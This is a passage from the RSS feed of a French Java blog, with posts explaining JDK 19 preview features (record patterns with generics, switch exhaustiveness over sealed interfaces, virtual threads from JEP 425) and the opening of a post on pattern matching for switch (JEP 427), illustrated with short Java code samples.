&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void afficheSommePointHautGauche(Rectangle r) {
    if (r instanceof Rectangle(Point(int a, int b) hg, var bd)) {
         System.out.println(a + b);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;support_des_génériques&quot;&gt;Support des génériques&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Prenons la définition suivante pour l&amp;#8217;enregistrement &lt;code&gt;Box&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Box&amp;lt;T&amp;gt;(T t) {}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons écrire le code pour le filtrage suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void test1(Box&amp;lt;Object&amp;gt; bo) {
    if (bo instanceof Box&amp;lt;Object&amp;gt;(String s)) { // &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
        System.out.println(&quot;String &quot; + s);
    }
}
static void test2(Box&amp;lt;Object&amp;gt; bo) {
    if (bo instanceof Box&amp;lt;String&amp;gt;(var s)) { // &lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;
        System.out.println(&quot;String &quot; + s);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Déduction faite avec le type du paramètre s&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Déduction faite avec le type dans les chevrons&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela implique que le code ci-dessous ne compile pas&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void test3(Box&amp;lt;Object&amp;gt; bo) {
    if (bo instanceof Box&amp;lt;Object&amp;gt;(var s)) { // Erreur
        System.out.println(&quot;String &quot; + s);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;exhaustivité_du_switch&quot;&gt;Exhaustivité du switch&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Prenons les définitions suivantes pour &lt;code&gt;Forme&lt;/code&gt;, &lt;code&gt;Triangle&lt;/code&gt;, &lt;code&gt;Rectangle&lt;/code&gt; et &lt;code&gt;Paire&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;sealed interface Forme permits Triangle, Rectangle {}
final class Triangle implements Forme {}
final class Rectangle implements Forme {}
record Paire&amp;lt;T&amp;gt;(T x, T y) {}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons définir une variable comme celle-ci&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Paire&amp;lt;Forme&amp;gt; p1 = ...;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;interface &lt;code&gt;Forme&lt;/code&gt; est une interface scellée. Cela peut être soit une classe &lt;code&gt;Triangle&lt;/code&gt;, soit une classe de &lt;code&gt;Rectangle&lt;/code&gt;. Nous pouvons écrire l&amp;#8217;instruction &lt;code&gt;switch&lt;/code&gt; suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;switch (p1) {
    case Paire&amp;lt;Forme&amp;gt;(Triangle  p, Forme s) -&amp;gt; ...
    case Paire&amp;lt;Forme&amp;gt;(Rectangle p, Forme s) -&amp;gt; ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ci-dessus, l&amp;#8217;ensemble des cas de l&amp;#8217;instruction &lt;code&gt;switch&lt;/code&gt; est défini. Tous les combinaisons possibles sont traitées.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, nous pouvons aussi écrire le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;switch (p1) {
    case Paire&amp;lt;Forme&amp;gt;(Triangle p, Forme s) -&amp;gt; ...
    case Paire&amp;lt;Forme&amp;gt;(Rectangle p, Triangle s) -&amp;gt; ...
    case Paire&amp;lt;Forme&amp;gt;(Rectangle p, Rectangle s) -&amp;gt; ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons simplement décomposé le deuxième cas du &lt;code&gt;switch&lt;/code&gt; (&lt;code&gt;Rectangle&lt;/code&gt; p, &lt;code&gt;Forme&lt;/code&gt; s) avec les différents cas possibles de &lt;code&gt;Forme&lt;/code&gt; : la classe &lt;code&gt;Triangle&lt;/code&gt; et la classe &lt;code&gt;Rectangle&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, regardons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;switch (p2) { // Erreur !
    case Paire&amp;lt;Forme&amp;gt;(Triangle p, Rectangle s) -&amp;gt; ...
    case Paire&amp;lt;Forme&amp;gt;(Rectangle p, Triangle s) -&amp;gt; ...
    case Paire&amp;lt;Forme&amp;gt;(Forme p, Triangle s) -&amp;gt; ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce dernier provoque une erreur de compilation car il manque le second cas avec le premier paramètre de type &lt;code&gt;Forme&lt;/code&gt; et le second paramètre de type &lt;code&gt;Rectangle&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Là encore, le compilateur nous aide pour traiter l&amp;#8217;exhaustivité des cas pour l&amp;#8217;écriture des &lt;code&gt;switch&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Cela est très utile pour la mise en place ou si on ajoute une nouvelle classe dérivée à l&amp;#8217;interface scellée &lt;code&gt;Forme&lt;/code&gt; comme la classe &lt;code&gt;Cercle&lt;/code&gt; par exemple. Le compilateur signalera tous les endroits où des cas ne sont pas traités.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.org/jeps/405&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 405: Record Patterns (Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2021/03/JDK16-Nouveautes.html#394_pattern_matching_for_instanceof&quot;&gt;Billet sur le filtrage par motif pour instanceof&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2022/05/JEP-427-Pattern-Matching-for-switch.html&quot;&gt;Billet sur le filtrage par motif pour switch (3e Aperçu)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 425, Virtual Threads (Preview)</title>
      <link>https://www.lilian-benoit.fr/2022/05/JEP-425-Virtual-Threads.html</link>
      <pubDate>dim., 15 mai 2022 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2022/05/JEP-425-Virtual-Threads.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#objectif&quot;&gt;Objectif&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#utilisation&quot;&gt;Utilisation&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#remarques&quot;&gt;Remarques&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#compléments_sur_lapi&quot;&gt;Compléments sur l&amp;#8217;API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#difference_sur_lapi&quot;&gt;Difference sur l&amp;#8217;API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les threads virtuels ont été proposés dans le JDK 19. Ils sont maintenant intégré dans le build 22 du &lt;a href=&quot;https://jdk.java.net/19/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JDK 19 en accès anticipé&lt;/a&gt;. Cela correspond à une proposition incluant les travaux du projet &lt;a href=&quot;https://jdk.java.net/19/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Loom&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le thread au niveau de la JVM sont basés sur les threads systèmes. C&amp;#8217;est à dire que c&amp;#8217;est le système qui s&amp;#8217;occupe de planifier leur execution.
Cela implique que le nombre de thread est limité par le système.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;objectif&quot;&gt;Objectif&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est d&amp;#8217;avoir un thread léger qui permettent d&amp;#8217;avoir des milliers et des millions de thread afin de réaliser des traitements concurrents.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les threads classiques s&amp;#8217;appellent maintenant les threads plateformes (&quot;a plateform thread&quot;) afin de les différencier des threads virtuels.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce qui est intéressant, c&amp;#8217;est que les threads virtuels héritent de la même classe &lt;code&gt;java.lang.Thread&lt;/code&gt;.
En revanche, il n&amp;#8217;y a pas de constructeurs. En effet, la mode est de passer de plus en plus par des fabriques de méthodes. Pour cela, nous avons la méthode statique : &lt;code&gt;Thread.startVirtualThread()&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le thread est démarré avec une instance de l&amp;#8217;interface &lt;code&gt;java.lang.Runnable&lt;/code&gt;.
Ainsi, nous pouvons écrire la classe suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;class HelloRunnable implements Runnable {
    public void run() {
        System.out.println(Thread.currentThread() + &quot; dit Coucou&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;utilisation&quot;&gt;Utilisation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons tester les threads virtuels avec la commande &lt;code&gt;jshell&lt;/code&gt;. Vu que les threads virtuels sont en mode aperçu. Il est nécessaire d&amp;#8217;activer les aperçus avec l&amp;#8217;option &lt;code&gt;--enable-preview&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;bin/jshell --enable-preview&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, nous allons pouvoir créer notre classe &lt;code&gt;HelloRunnable&lt;/code&gt; suivi d&amp;#8217;une instance&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;var inst = new HelloRunnable();&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il nous reste à démarrer le thread virtuel.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock java&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Thread.startVirtualThread(inst);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A noter, que nous pouvons utiliser la méthode &lt;code&gt;Thread.ofVirtual()&lt;/code&gt; qui utilise le pattern &lt;strong&gt;Builder&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock java&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Thread.ofVirtual.start(inst);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette méthode offre deux avantages :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Nous avons une méthode similaire pour les threads plateformes&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock java&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Thread.ofPlatform.start(inst);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Nous pouvons créer une instance sans démarrer le thread (ou en tout cas sans le démarrer tout de suite.)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock java&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Thread courant = Thread.ofVirtual.unstarted(inst);
courant.start();&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, Java 8 est passé par là avec les lambas. Donc nous pouvons écrire tout simplement :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock java&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Thread.ofVirtual().start(() -&amp;gt; {
    System.out.println(Thread.currentThread() + &quot; dit Coucou&quot;);
});&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;remarques&quot;&gt;Remarques&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En exécutant le code ci-dessus, nous obtenons la sortie suivante&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;VirtualThread[#25]/runnable@ForkJoinPool-1-worker-1 dit Coucou
$1 ==&amp;gt; VirtualThread[#25]/runnable&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le #25 est une sorte de compteur de thread virtuel. Si nous exécutons de nouveau la même commande, nous obtiendrons la sortie suivante&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;VirtualThread[#26]/runnable@ForkJoinPool-1-worker-1 dit Coucou
$1 ==&amp;gt; VirtualThread[#26]/runnable&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est normal car nous lançons un nouveau thread virtuel. Ce qui veut dire que la première fois, il y a eu 24 thread virtuels exécutés avant notre premier appel.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Qui les utilisent ? La JVM elle-même.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;compléments_sur_lapi&quot;&gt;Compléments sur l&amp;#8217;API&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Il est possible de savoir si nous sommes dans un thread virtuel ou non. Nous avons la méthode &lt;code&gt;Thread.isVirtual()&lt;/code&gt; qui renvoie un booléen.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les méthodes &lt;code&gt;Thread.join()&lt;/code&gt; et &lt;code&gt;Thread.sleep()&lt;/code&gt; possède une surcharge prenant en paramètre une instance de &lt;code&gt;Duration&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La méthode &lt;code&gt;Thread.getId()&lt;/code&gt; est dépréciée. Il faut passer par la méthode &lt;code&gt;Thread.threadId()&lt;/code&gt;. Ce dernier renvoie un identifiant.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La méthode &lt;code&gt;Thread.getAllStackTraces()&lt;/code&gt; retourne une map de toutes les threads plateforme et non tous les threads comme son nom le laisse penser.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Cela s&amp;#8217;explique car nous pouvons avoir des millions de threads virtuels donc il n&amp;#8217;y a pas de sens de retourner une map aussi grosse.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;difference_sur_lapi&quot;&gt;Difference sur l&amp;#8217;API&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Les threads virtuels sont forcément des threads daemon. La méthode &lt;code&gt;Thread.setDaemon()&lt;/code&gt; n&amp;#8217;a pas d&amp;#8217;effet.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Pensez à cela pour les conditions d&amp;#8217;arrêt de la JVM. En effet, il faut au moins un thread plateforme sinon la JVM s&amp;#8217;arrête.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Dans le même style, la priorité est fixée à Thread.NORM_PRIORITY. La méthode &lt;code&gt;Thread.setPriority()&lt;/code&gt; n&amp;#8217;a pas d&amp;#8217;effet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les méthodes &lt;code&gt;stop(), suspend() et resume()&lt;/code&gt; lèvent une exception lors de leur invocation si c&amp;#8217;est un thread virtuel.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Pour rappel, ces méthodes sont déjà dépréciés au moins depuis le JDK 6.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Dans le même sens de l&amp;#8217;histoire, il n&amp;#8217;y a pas de permissions si le &lt;code&gt;SecurityManager&lt;/code&gt; est activé.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Pour rappel, ce dernier est déprécié pour suppression depuis le JDK 17. Plus d&amp;#8217;informations, dans ce billet &lt;a href=&quot;/2021/09/JDK17-Nouveautes.html&quot;&gt;JDK 17 Nouveautés&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/425&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 425: Virtual Threads&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 427, Pattern Matching for switch (Third Preview)</title>
      <link>https://www.lilian-benoit.fr/2022/05/JEP-427-Pattern-Matching-for-switch.html</link>
      <pubDate>dim., 1 mai 2022 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2022/05/JEP-427-Pattern-Matching-for-switch.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#rappel_principe&quot;&gt;Rappel : Principe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#nouveautés&quot;&gt;Nouveautés&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#traitement_du_null&quot;&gt;Traitement du &lt;code&gt;null&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#raffinement_des_cas&quot;&gt;Raffinement des cas&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le filtrage par motif a été proposé initialement avec la &lt;a href=&quot;https://openjdk.java.net/jeps/406&quot;&gt;JEP 406&lt;/a&gt; inclus dans le JDK 17. La seconde version, la &lt;a href=&quot;https://openjdk.java.net/jeps/420&quot;&gt;JEP 420&lt;/a&gt; a été délivrée dans le JDK 18.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Avec la &lt;a href=&quot;https://openjdk.java.net/jeps/427&quot;&gt;JEP 427&lt;/a&gt;, nous sommes donc sur le troisième opus. Au moment de l&amp;#8217;écriture de ce billet, la JEP est proposée pour être inclus dans le JDK 19.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;rappel_principe&quot;&gt;Rappel : Principe&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le principe est comme le filtrage par motif pour &lt;code&gt;instanceof&lt;/code&gt; mais en l&amp;#8217;appliquant au &lt;code&gt;switch&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Pour plus d&amp;#8217;informations sur le filtrage par motif pour &lt;code&gt;instanceof&lt;/code&gt;, je vous conseille cette article &lt;a href=&quot;/2020/11/JDK15-Nouveautes.html#375_pattern_matching_for_instanceof_second_preview&quot;&gt;JEP 375 - Pattern Matching for instanceof (Second Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Initialement, nous avons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static String formatter(Object o) {
    String formatted = &quot;unknown&quot;;
    if (o instanceof Integer i) {
        formatted = String.format(&quot;int %d&quot;, i);
    } else if (o instanceof Long l) {
        formatted = String.format(&quot;long %d&quot;, l);
    } else if (o instanceof Double d) {
